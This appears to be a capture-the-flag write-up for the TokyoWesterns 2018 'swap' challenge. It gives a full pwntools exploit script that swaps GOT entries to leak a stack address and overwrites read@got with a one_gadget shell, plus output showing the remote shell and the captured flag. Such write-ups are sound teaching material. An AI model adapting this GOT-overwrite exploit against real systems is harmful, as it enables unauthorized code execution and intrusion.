TokyoWestern2018-swap

Swap atoi@got and print@got to leak the stack.
Attempt to overwrite read@got to one_gadget 0xf1651 with 1/16 probability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
from fastlog import log

context.os = 'linux'
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
#context.terminal = ['tmux', 'splitw', '-v']

LIBC_PATH = './libc.so.6'#'/lib32/libc.so.6'
BIN_PATH = './swap'

DEBUG_ON = True

libc = ELF(LIBC_PATH)
binary = ELF(BIN_PATH)

p = 0

def debug(command=''):
if DEBUG_ON:
gdb.attach(p, command)
raw_input()

def set_num(addr1, addr2):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('1st address: ')
p.sendline(str(addr1))
p.recvuntil('2nd address: ')
p.sendline(str(addr2))

def swap():
p.recvuntil('Your choice: ')
p.sendline('2')

def write_qword(qword, addr, qword_ref):
tmp_char = 0x601100
tmp_qword = 0x601200
c_qw = map(ord, list(p64(qword)))
for i, ch in enumerate(c_qw):
# Reference: veritas
set_num(tmp_char+ch, qword_ref) # p &p
swap() # *p=[0x601141] <- 0x601141 *(&p)=0x601141<-0x601141
set_num(tmp_qword+i, tmp_char+ch)
swap() # 0x6012{00} <- 0x6011{41} # 0x6012{01} <- 0x6011{42}
set_num(tmp_qword,addr)
swap()

def exploit():
atoi_got = binary.got['atoi']
puts_got = binary.got['puts']
printf_got = binary.got['printf']

p.recvuntil('Your choice: ')
p.sendline('') # Init printf@got.

set_num(atoi_got, printf_got)
swap()
p.sendline('%p')
p.recvuntil('Your choice: \n')
buf = int(p.recv(2+16).split('1. S')[0], 16)

log.info('buf = ' + hex(buf))
p.sendline(str(atoi_got))
p.sendline(str(printf_got))
p.sendline('1') # Reset atoi / printf

log.info('Try luck')
# one_gadget 0xf1651 execve("/bin/sh", rsp+0x40, environ)
# read@got 0x00 00 7f ?? ?? ?? 51 16
# buf + 0x30 - 6 -> mov rax, qword ptr [rbp-0x20]
write_qword(u64('\x00\x00\x00\x00\x00\x00\x51\x16'), 0x0000000000601040-6, buf + 0x30 - 6)
p.sendline('echo abc')
try:
recv = p.recvuntil('abc', timeout=1)
log.success('flaggy')
p.interactive()
except:
pass

if __name__ == '__main__':
log.setLevel(log.DEBUG)

for i in range(16): # 1/16 probability
if len(sys.argv) == 1:
p = process(executable=BIN_PATH, argv=[BIN_PATH],
env={'LD_PRELOAD': LIBC_PATH})
else:
p = remote('swap.chal.ctf.westerns.tokyo', 37567)

log.success("Bin is runnable. %s with %s", BIN_PATH, LIBC_PATH)
exploit()

Flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
[+] Opening connection to swap.chal.ctf.westerns.tokyo on port 37567: Done
[+] Bin is runnable. ./swap with ./libc.so.6
[*] buf = 0x7fff478917b6
[*] Try luck
[+] flaggy
[*] Switching to interactive mode

$ ls
flag
start.sh
swap_returns
$ cat flag
TWCTF{unlimited_SWAP_Works}